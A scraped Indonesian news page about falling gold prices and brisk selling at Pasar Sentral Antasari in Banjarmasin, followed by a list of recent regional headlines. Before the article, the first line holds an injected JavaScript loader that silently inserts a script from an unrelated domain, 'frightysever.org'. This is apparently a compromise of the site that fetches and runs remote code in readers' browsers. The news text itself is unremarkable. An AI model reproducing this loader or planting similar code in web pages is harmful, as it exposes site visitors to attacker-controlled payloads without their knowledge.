(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Harga Emas Turun, Aksi Jual Tetap Ramai di Pasar Antasari


BANJARMASIN, Harga emas dipasaran kembali mengalami penurunan sejak tiga hari terakhir sebesar Rp 2.500-Rp5.000 per gram.

Walau mengalami penurunan harga jual, pedagang emas di Pasar Sentral Antasari Banjarmasin mengaku tidak terlalu berpengaruh terhadap tingginya aksi beli di masyarakat. Malah aksi jual masih cenderung tinggi seiring besarnya kebutuhan masyarakat jelang akhir tahun.

“Harga emas memang turun, tapi tingkat penjualan emas oleh masyarakat masih mencapai 60 persen dan hanya 40 persennya saja yang membeli. Hal ini karena jelang akhir tahun masyarakat biasanya memerlukan uang cash untuk memenuhi kebutuhannya,” jelas Owner Toko Emas Taisir H Gurdan, Senin (10/9).

Untuk harga emas batangan kini dibandrol sebesar Rp 571.000 per gram, setelah sebelumnya dijual Rp 573.500 per gram. Kemudian untuk emas 99 persen dari sebelumnya dijual Rp 580.000 per gram, menjadi Rp 575.000 per gram.

“Sementara untuk emas 70 persen kini kami jual Rp 435.000 per gram, sebelumnya mencapai Rp 440.000 per gram. Lalu emas 42 persen jika sebelumnya dijual Rp 265.000 per gram, kini menjadi Rp 260.000 per gram,” ungkapnya.

Tidak berbeda, Owner Toko Emas Hidayat H Hakim mengakui, walau tren harga emas mengalami penurunan, minat masyarakat menjual emas ditempatnya masih tergolong tinggi. Bahkan persentasenya 65 persen yang menjual dan hanya 35 persen yang membeli.

“Walau harga emas turun, harganya masih di atas Rp 550.000 per gram. Harga segitu masih tergolong tinggi, makanya wajar aksi jual oleh masyarakat tetap ramai,” tambahnya.

Sementara itu, salah satu konsumen yang menjual emasnya di Toko Emas Taisir, Annisa Raudah mengakui, kebutuhan keluarganya jelang akhir tahun ini cukup tinggi. Untuk memenuhinya ia pun terpaksa merelakan perhiasan emasnya dijual sementara waktu.

“Anak saya baru mau masuk kuliah, makanya perlu uang cash untuk membayar keperluannya. Menjual emas menjadi salah satu cara yang cukup mudah untuk mendapatkan uang cash ketimbang meminjam di bank,” tukasnya. (arief)

Reporter: Arief
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

5 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

6 jam ago

This website uses cookies.